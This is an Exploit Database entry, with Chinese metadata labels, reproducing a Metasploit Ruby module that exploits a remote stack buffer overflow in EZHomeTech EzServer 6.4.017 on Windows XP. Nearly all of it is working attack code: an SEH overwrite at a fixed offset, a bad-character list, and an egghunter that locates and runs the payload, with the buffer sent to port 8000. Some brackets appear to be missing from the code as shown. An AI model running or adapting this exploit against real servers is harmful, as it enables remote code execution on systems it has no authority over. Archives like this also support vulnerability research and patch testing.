EZHomeTech EzServer 6.4.017 – Remote Stack Buffer Overflow (Metasploit)

Exploit Database
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作者： Metasploit

日期： 2012-06-19
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/19291/

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

include Msf::Exploit::Remote::Egghunter

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'EZHomeTech EzServer <= 6.4.017 Stack Buffer Overflow Vulnerability',

'Description'=> %q{

This module exploits a stack buffer overflow in the EZHomeTech EZServer. If a malicious

user sends packets containing an overly long string, it may be possible to execute a

payload remotely. Due to size constraints, this module uses the Egghunter technique.

'License'=> MSF_LICENSE,

'Author' =>

[

'modpr0be<modpr0be[at]spentera.com>' # Original discovery and Metasploit module

'References' =>

[

[ 'EDB', '19266' ],

[ 'URL', 'http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/' ]

'DefaultOptions' =>

{

'ExitFunction' => 'seh'

'Platform' => 'win',

'Payload'=>

{

'BadChars' => "\x00\x0a\x0d\x20\x2e\x2f\x3a",

'DisableNops' => true

'Targets'=>

[

[ 'EzHomeTech EzServer <= 6.4.017 (Windows XP Universal)',

{

'Ret' => 0x10212779, # pop ecx # pop ebx # ret 4 - msvcrtd.dll

'Offset' => 5852

}

'Privileged' => false,

'DisclosureDate' => 'Jun 18 2012',

'DefaultTarget'=> 0))

register_options([Opt::RPORT(8000)], self.class)

end

def exploit

connect

eggoptions =

{

:checksum => true,

:eggtag => "w00t"

}

hunter = generate_egghunter(payload.encoded,payload_badchars,eggoptions)

egg = hunter[1]

buff = rand_text(target['Offset'] - egg.length) #junk

buff << egg

buff << make_nops(32)

buff << generate_seh_record(target.ret)

buff << make_nops(16)

buff << hunter[0]

buff << rand_text_alpha_upper(500)

print_status("Triggering shellcode now...")

print_status("Please be patient, the egghunter may take a while..")

sock.put(buff)

handler

disconnect

end